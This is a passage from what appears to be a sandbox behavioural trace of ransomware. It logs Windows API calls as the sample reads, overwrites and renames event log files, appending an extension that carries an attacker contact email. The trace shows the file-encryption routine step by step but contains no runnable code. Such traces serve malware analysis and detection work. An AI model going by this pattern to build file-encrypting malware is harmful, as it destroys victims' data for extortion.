	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x2393415d
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x2c61c9c
	[0080.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0080.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0080.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0080.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e4d070
	[0080.501] SetFilePointerEx (in: hFile=0x1410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.501] ReadFile (in: hFile=0x1410, lpBuffer=0x4e4d070, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10f3f730, lpOverlapped=0x0 | out: lpBuffer=0x4e4d070*, lpNumberOfBytesRead=0x10f3f730*=0xc800, lpOverlapped=0x0) returned 1
	[0080.967] SetFilePointerEx (in: hFile=0x1410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0080.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4838818
	[0080.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.972] WriteFile (in: hFile=0x1410, lpBuffer=0x4838818*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10f3f730, lpOverlapped=0x0 | out: lpBuffer=0x4838818*, lpNumberOfBytesWritten=0x10f3f730*=0xc800, lpOverlapped=0x0) returned 1
	[0081.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4838818) returned 1
	[0081.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e4d070) returned 1
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x4754010
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x4754100
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0081.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0081.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14d) returned 0x2e02570
	[0081.153] SetFilePointerEx (in: hFile=0x1410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.153] WriteFile (in: hFile=0x1410, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x10f3f7b0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x10f3f7b0*=0x14d, lpOverlapped=0x0) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0081.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0081.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x476afe8
	[0081.300] wcscpy (in: _Dest=0x476afe8, _Source="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx"
	[0081.300] wcscat (in: _Dest=0x476afe8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.300] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10f3f768, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12ab8
	[0081.300] NtSetInformationFile (FileHandle=0x1410, IoStatusBlock=0x10f3f760, FileInformation=0x2e12ab8, Length=0xca, FileInformationClass=0xa) returned 0x0
	[0087.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0087.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c478) returned 1
	[0087.805] NtQueryInformationFile (in: FileHandle=0x1410, IoStatusBlock=0x10f3f774, FileInformation=0x10f3f74c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10f3f774, FileInformation=0x10f3f74c) returned 0x0
	[0087.805] NtSetInformationFile (FileHandle=0x1410, IoStatusBlock=0x10f3f774, FileInformation=0x10f3f74c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476afe8) returned 1
	[0087.808] FlushFileBuffers (hFile=0x1410) returned 1
	[0092.923] CloseHandle (hObject=0x1410) 

Thread:
	id = 414
	os_tid = 0x15a0

	[0076.953] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0081.328] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.328] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd94
	[0081.328] GetFileSizeEx (in: hFile=0xd94, lpFileSize=0x10fbfc40 | out: lpFileSize=0x10fbfc40*=69632) returned 1
	[0081.328] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.328] ReadFile (in: hFile=0xd94, lpBuffer=0x10fbfbc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10fbfbc0, lpOverlapped=0x0 | out: lpBuffer=0x10fbfbc4*, lpNumberOfBytesRead=0x10fbfbc0*=0x4, lpOverlapped=0x0) returned 1
	[0081.330] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.330] NtQuerySystemTime (in: CurrentTime=0x10fbfba0 | out: CurrentTime=0x10fbfba0*=132251868080624487) returned 0x0
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x9fca206d
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x83cc976a
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xac3d3459
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xb1c0193b
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x9554bf80
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xa7861acc
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xd1bd477c
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x9763196
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xe8a64437
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x82ef9ca1
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x40428cac
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x1dc416cb
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x690c3020
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xc58981e8
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x270fff92
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x2234cede
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x4caaf28d
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xd5631db
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xd724caf1
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x89aab33f
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x5e769226
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xd20bf761
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x107bc8e2
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x1940a640
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xdbf664fa
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x2e96832c
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xf07e8cce
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xfa0cae7c
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xc0d3de59
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0xc5a1a120
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x409c776d
	[0081.330] RtlRandom (in: Seed=0x10fbfbac | out: Seed=0x10fbfbac) returned 0x4e3e2815
	[0081.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48fb048
	[0081.339] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.339] ReadFile (in: hFile=0xd94, lpBuffer=0x48fb048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10fbfb80, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesRead=0x10fbfb80*=0xc800, lpOverlapped=0x0) returned 1
	[0081.340] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0081.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb97e8
	[0081.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33960
	[0081.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.345] WriteFile (in: hFile=0xd94, lpBuffer=0x4fb97e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10fbfb80, lpOverlapped=0x0 | out: lpBuffer=0x4fb97e8*, lpNumberOfBytesWritten=0x10fbfb80*=0xc800, lpOverlapped=0x0) returned 1
	[0081.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb97e8) returned 1
	[0081.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb048) returned 1
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8d) returned 0x4e31d98
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8d) returned 0x4e31840
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x171) returned 0x2dc3d68
	[0081.347] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.347] WriteFile (in: hFile=0xd94, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x171, lpNumberOfBytesWritten=0x10fbfc00, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x10fbfc00*=0x171, lpOverlapped=0x0) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31840) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31d98) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33960) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x47731d0
	[0081.349] wcscpy (in: _Dest=0x47731d0, _Source="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx"
	[0081.349] wcscat (in: _Dest=0x47731d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.349] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10fbfbb8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x47517b8
	[0081.349] NtSetInformationFile (FileHandle=0xd94, IoStatusBlock=0x10fbfbb0, FileInformation=0x47517b8, Length=0xee, FileInformationClass=0xa) returned 0x0
	[0087.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47517b8) returned 1
	[0087.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e326e0) returned 1
	[0087.772] NtQueryInformationFile (in: FileHandle=0xd94, IoStatusBlock=0x10fbfbc4, FileInformation=0x10fbfb9c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10fbfbc4, FileInformation=0x10fbfb9c) returned 0x0
	[0087.772] NtSetInformationFile (FileHandle=0xd94, IoStatusBlock=0x10fbfbc4, FileInformation=0x10fbfb9c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47731d0) returned 1
	[0087.775] FlushFileBuffers (hFile=0xd94) returned 1
	[0092.876] CloseHandle (hObject=0xd94) 

Thread:
	id = 415
	os_tid = 0x15a4

	[0076.954] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0081.329] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", dwFileAttributes=0x20) returned 1
	[0081.340] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x131c
	[0081.340] GetFileSizeEx (in: hFile=0x131c, lpFileSize=0x1103fd34 | out: lpFileSize=0x1103fd34*=1052672) returned 1
	[0081.340] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.346] ReadFile (in: hFile=0x131c, lpBuffer=0x1103fcb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1103fcb4, lpOverlapped=0x0 | out: lpBuffer=0x1103fcb8*, lpNumberOfBytesRead=0x1103fcb4*=0x4, lpOverlapped=0x0) returned 1
	[0081.350] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.350] NtQuerySystemTime (in: CurrentTime=0x1103fc94 | out: CurrentTime=0x1103fc94*=132251868080931663) returned 0x0
	[0081.350] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x7b2889b3
	[0081.350] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xadee3ea2
	[0081.350] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xfe63831e
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xa8775412
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x1a7b99ea
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x9946f653
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xb0031e04
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xfbf95043
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x252a5ddd
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x62934e7f
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x1417679f
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x7cef090
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x9d1c4910
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xc925d71d
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xd1fbf4d9
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xc715c4b7
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x860f7242
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x9aa4ab1b
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x24e09fbc
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xffd3d774
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x3eb20ef
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x80c000d3
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x3478cfa7
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x588ca002
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xa95a882d
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0xb0b7b198
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x6a85694
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x4c7cca65
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x7c026fc1
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x400f31c9
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x5dd013f8
	[0081.351] RtlRandom (in: Seed=0x1103fca0 | out: Seed=0x1103fca0) returned 0x2361be34
	[0081.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48fb048
	[0081.360] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.360] ReadFile (in: hFile=0x131c, lpBuffer=0x48fb048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1103fc4c, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesRead=0x1103fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.361] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
